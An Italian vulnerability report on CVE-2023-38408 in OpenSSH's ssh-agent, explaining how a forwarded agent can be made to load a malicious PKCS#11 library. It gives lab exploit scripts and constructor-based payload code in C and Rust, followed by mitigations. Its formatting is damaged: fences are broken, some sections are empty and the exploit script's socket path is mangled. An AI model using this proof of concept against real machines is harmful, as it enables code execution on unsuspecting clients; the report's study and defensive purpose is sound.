CVE-2023-38408: Comprendere e Simulare una Vulnerabilità Reale di SSH-Agent

Indice

1. Introduzione
2. Concetti di base
3. La vulnerabilità CVE-2023-38408
4. Simulazione pratica e test
5. Analisi tecnica
6. Correzione e mitigazione
7. Conclusione

1. Introduzione

Scopo del rapporto

Lo scopo di questo rapporto è analizzare CVE-2023-38408, una critica vulnerabilità reale scoperta in OpenSSH, attraverso sia la comprensione teorica che la simulazione pratica. Il rapporto spiega le basi tecniche della vulnerabilità, dimostra come può essere sfruttata in ambienti controllati ed esamina le misure di mitigazione implementate.

Importanza dell'analisi delle vulnerabilità reali

Comprendere le vulnerabilità di sicurezza reali attraverso la simulazione pratica non solo aiuta a proteggere i sistemi, ma rafforza anche la consapevolezza degli sviluppatori e degli amministratori di sistema riguardo ai potenziali vettori di attacco. Analizzare tali vulnerabilità colma il divario tra teoria e implementazione pratica della sicurezza.

Cos'è CVE-2023-38408 e perché è importante

CVE-2023-38408 è una vulnerabilità che colpisce ssh-agent in OpenSSH quando il supporto PKCS#11 è abilitato. Consente l'esecuzione remota di codice su una macchina client se l'utente si connette a un server compromesso con il forwarding dell'agente abilitato (ssh -A). Questa vulnerabilità ha gravi implicazioni per qualsiasi sistema che si affidi a OpenSSH per l'autenticazione sicura.

2. Concetti di base

2.1 Panoramica su SSH

SSH (Secure Shell) è un protocollo di rete crittografico utilizzato per comunicazioni sicure su reti non sicure. Fornisce canali crittografati per accesso remoto, esecuzione di comandi, trasferimento file e altro.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

### 2.2 Cos'è ssh-agent

`ssh-agent` è un processo in background che memorizza in memoria le chiavi SSH private decifrate, consentendo di utilizzarle senza dover reinserire le passphrase ogni volta che ci si connette a un sistema remoto.

#### Agent Forwarding (ssh -A)

L'Agent Forwarding permette a un sistema remoto di accedere al `ssh-agent` locale tramite un socket di dominio Unix. È utile per concatenare connessioni SSH, ma introduce rischi significativi per la sicurezza se la macchina remota viene compromessa.```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

Tecnicamente, quando usi ssh -A, il client SSH crea un socket di dominio Unix sul server remoto che funge da proxy per il tuo ssh-agent locale. La variabile d'ambiente SSH_AUTH_SOCK viene impostata per puntare a questo socket proxy. Qualsiasi chiamata fatta a SSH_AUTH_SOCK sul server remoto viene inoltrata indietro attraverso la connessione SSH e processata dal tuo ssh-agent locale.

2.3 Cos'è PKCS#11

PKCS#11 è un'API standard per interagire con token crittografici, come smartcard, YubiKey o moduli di sicurezza hardware virtuali (HSM).

Come ssh-agent Supporta PKCS#11

L'ssh-agent di OpenSSH supporta il caricamento di provider PKCS#11 (librerie condivise .so) usando il comando ssh-add -s /path/to/provider.so. Queste librerie permettono all'agente di interagire con moduli hardware o software sicuri per utilizzare chiavi private senza esporle direttamente.

Sotto il cofano, quando si chiama ssh-add -s, viene eseguito quanto segue:

• Il file .so viene caricato dinamicamente in memoria usando dlopen().
• L'agente risolve e chiama funzioni come C_Initialize(), C_GetSlotList(), C_FindObjects() e C_Sign() tramite l'API PKCS#11.
• Il provider restituisce metadati e gestisce le richieste di firma delle sfide di autenticazione, mantenendo il materiale della chiave privata in modo sicuro all'interno del token hardware.

3. La vulnerabilità CVE-2023-38408

3.1 Riepilogo del CVE

3.2 Meccanismo della vulnerabilità

La vulnerabilità deriva dal fatto che ssh-agent carica qualsiasi file oggetto condiviso (.so) fornito tramite ssh-add -s, senza verificare che si tratti di un provider PKCS#11 legittimo.```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

### 3.3 Analisi del Flusso di Attacco```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

Al livello più basso, la sequenza di eventi include:

1. Un sistema remoto invia una richiesta all'agente inoltrato chiedendogli di ssh-add -s /path/to/lib.so
2. L'ssh-agent locale riceve questa richiesta e chiama ciecamente dlopen("/path/to/lib.so", RTLD_NOW)
3. Se il file .so ha una funzione costruttore (__attribute__((constructor))), questa viene eseguita immediatamente al caricamento
4. Questo costruttore può contenere codice arbitrario malevolo che viene eseguito sulla macchina client

3.4 Scenario di Attacco Reale

4. Simulazione e Test Pratici

4.1 Configurazione dell'Ambiente di Simulazione

Per dimostrare questa vulnerabilità in un ambiente controllato, è stata condotta una simulazione completa utilizzando più account utente e terminali.

Configurazione dell'Ambiente

Creazione degli Account Utente```bash

As main user

sudo adduser victim sudo adduser attacker

#### Configurazione delle chiavi SSH per l'inoltro dell'agente```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 Script di Simulazione e Implementazione

Script di Connessione della Vittima (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

#### Costruttore di Payload dell'Attaccante (`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

Script di sfruttamento (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

### 4.3 Risultati e Analisi della Simulazione

#### Comportamento Previsto nei Sistemi Vulnerabili

| **Azione**                | **Risposta del Sistema Vulnerabile**      | **Risposta del Sistema Aggiornato** |
| ------------------------- | ----------------------------------- | --------------------------- |
| `ssh-add -s malicious.so` | Il caricamento della libreria, il costruttore viene eseguito | `agent refused operation`   |
| Esecuzione del payload         | Crea `/tmp/exploit.log`          | Nessuna esecuzione                |
| Impatto sul sistema             | Esecuzione remota di codice               | Nessun impatto                   |

#### Output Effettivo della Simulazione

Eseguendo la simulazione su un sistema aggiornato (OpenSSH 9.3p2+):```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

Osservazione chiave: Anche se l'agente rifiuta l'operazione nelle versioni patchate, questa simulazione dimostra il vettore d'attacco e aiuta a comprendere l'impatto della vulnerabilità nelle versioni precedenti.

4.4 Analisi della costruzione del payload

Libreria malevola basata su C```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

#### Alternativa basata su Rust

Utilizzo del crate `ctor` per le funzioni costruttore:```rust
// Cargo.toml
[dependencies]
ctor = "0.1"

// lib.rs
use ctor::ctor;
use std::process::Command;

#[ctor]
fn malicious_constructor() {
    Command::new("sh")
        .arg("-c")
        .arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
        .output()
        .expect("Failed to execute command");
}

5. Analisi tecnica

5.1 Analisi delle cause profonde

La vulnerabilità esiste a causa di diverse decisioni progettuali nell'implementazione di ssh-agent di OpenSSH:

5.2 Analisi della memoria e dei processi```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

### 5.3 Mappatura della Superficie d'Attacco

| **Vettore d'Attacco** | **Requisiti**                    | **Livello d'Impatto** | **Difficoltà di Rilevamento** |
| --------------------- | -------------------------------- | --------------------- | ----------------------------- |
| Inoltro dell'Agente   | `ssh -A` abilitato               | Critico               | Bassa                         |
| File .so malevolo     | Accesso al filesystem            | Critico               | Media                         |
| Ingegneria Sociale    | Interazione dell'utente          | Alto                  | Alta                          |
| Catena di Approvvigionamento | Provider PKCS#11 compromesso | Critico               | Molto Alta                    |

---

## 6. Correzione e Mitigazione

### 6.1 Come è stato corretto in OpenSSH 9.3p2

OpenSSH 9.3p2 ha affrontato questa vulnerabilità introducendo un comportamento predefinito sicuro:

| **Misure di Sicurezza** | **Implementazione**                           | **Effetto**                               |
| ----------------------- | --------------------------------------------- | ----------------------------------------- |
| Disabilitazione Predefinita | Supporto PKCS#11 disabilitato per impostazione predefinita | Riduce la superficie d'attacco            |
| Abilitazione Esplicita  | Richiede il flag `-O allow-pkcs11`            | Richiede il consenso dell'utente          |
| Validazione             | Validazione della libreria migliorata         | Previene l'esecuzione di codice arbitrario |

#### Modifiche alla Configurazione```bash
# Old behavior (vulnerable)
ssh-agent  # PKCS#11 enabled by default

# New behavior (secure)
ssh-agent -O allow-pkcs11  # Explicit opt-in required

6.2 Analisi dell'implementazione```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

### 6.3 Strategie di Mitigazione Complete

#### Azioni Immediati

| **Priorità** | **Azione**               | **Implementazione**                                        |
| ------------ | ------------------------ | --------------------------------------------------------- |
| Alta         | Aggiorna OpenSSH          | `apt update && apt upgrade openssh-client openssh-server` |
| Alta         | Disabilita forwarding agent | `ssh -o ForwardAgent=no`                                  |
| Media        | Revisiona configurazioni SSH | Review `/etc/ssh/ssh_config`                              |
| Media        | Monitora l'uso dell'agent      | Registra attività ssh-agent                               |

#### Misure di Sicurezza a Lungo Termine

1. **Hardening della Configurazione SSH**   ```
   # /etc/ssh/ssh_config
   ForwardAgent no
   HashKnownHosts yes
   VerifyHostKeyDNS yes

2. Segmentazione di Rete ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

   Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

   root@kitploit:~

3. Monitoraggio e Rilevamento ```bash

   Monitor ssh-agent processes

   ps aux | grep ssh-agent

   Check for unusual .so loads

   lsof -p $(pgrep ssh-agent) | grep '.so$'

   Monitor SSH_AUTH_SOCK usage

   auditctl -w /tmp -p w -k ssh_agent_monitor

   root@kitploit:~

6.4 Implementazione delle Best Practices

Politiche di Sicurezza Organizzative

7. Conclusioni

7.1 Risultati Principali

CVE-2023-38408 dimostra una falla di sicurezza critica che ha sfruttato il rapporto di fiducia tra client SSH e agenti. Attraverso la simulazione pratica, emergono diverse intuizioni chiave:

1. Violazioni dei Confini di Fiducia: La vulnerabilità ha sfruttato la fiducia implicita nelle connessioni degli agenti inoltrate
2. Abuso dei Costruttori: Esecuzione di codice malevolo tramite costruttori di librerie condivise ha bypassato tutti i controlli di sicurezza
3. Insicurezza di Default: Il supporto PKCS#11 abilitato per impostazione predefinita ha creato una superficie di attacco non necessaria
4. Rischi dell'Agent Forwarding: La comodità dell'agent forwarding ha introdotto gravi implicazioni per la sicurezza

7.2 Valutazione dell'Impatto

7.3 Lezioni Apprese

Questa analisi della vulnerabilità, arricchita dalla simulazione pratica, fornisce diverse lezioni critiche:

1. Default Sicuri: Le funzionalità di sicurezza dovrebbero essere disabilitate per impostazione predefinita e richiedere l'attivazione esplicita
2. Validazione degli Input: Tutti gli input esterni, inclusi i file di libreria, devono essere rigorosamente validati
3. Principio del Minimo Privilegio: L'agent forwarding dovrebbe essere limitato solo ad ambienti fidati
4. Difesa in Profondità: Più livelli di sicurezza prevengono singoli punti di fallimento

7.4 Considerazioni Future```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring

### 7.5 Raccomandazioni Finali

Sulla base dell'analisi completa e dei risultati della simulazione:

1. **Immediato**: Aggiornare tutte le installazioni OpenSSH alla versione 9.3p2 o successiva
2. **A breve termine**: Implementare politiche rigorose di inoltro agent e monitoraggio
3. **A lungo termine**: Adottare un'architettura di rete zero-trust e l'autenticazione basata su certificati
4. **Continuo**: Mantenere programmi continui di formazione sulla sicurezza e valutazione delle vulnerabilità

**Punto Chiave**: CVE-2023-38408 serve come un potente promemoria che funzionalità di comodità come l'inoltro agent possono diventare vulnerabilità di sicurezza critiche quando non implementate correttamente. La combinazione di comprensione teorica e simulazione pratica fornisce le basi per costruire difese robuste contro attacchi simili in futuro.

Attraverso questa analisi completa, i professionisti della sicurezza possono comprendere meglio le complesse relazioni tra i componenti SSH e implementare salvaguardie appropriate per proteggere la propria infrastruttura da vulnerabilità simili.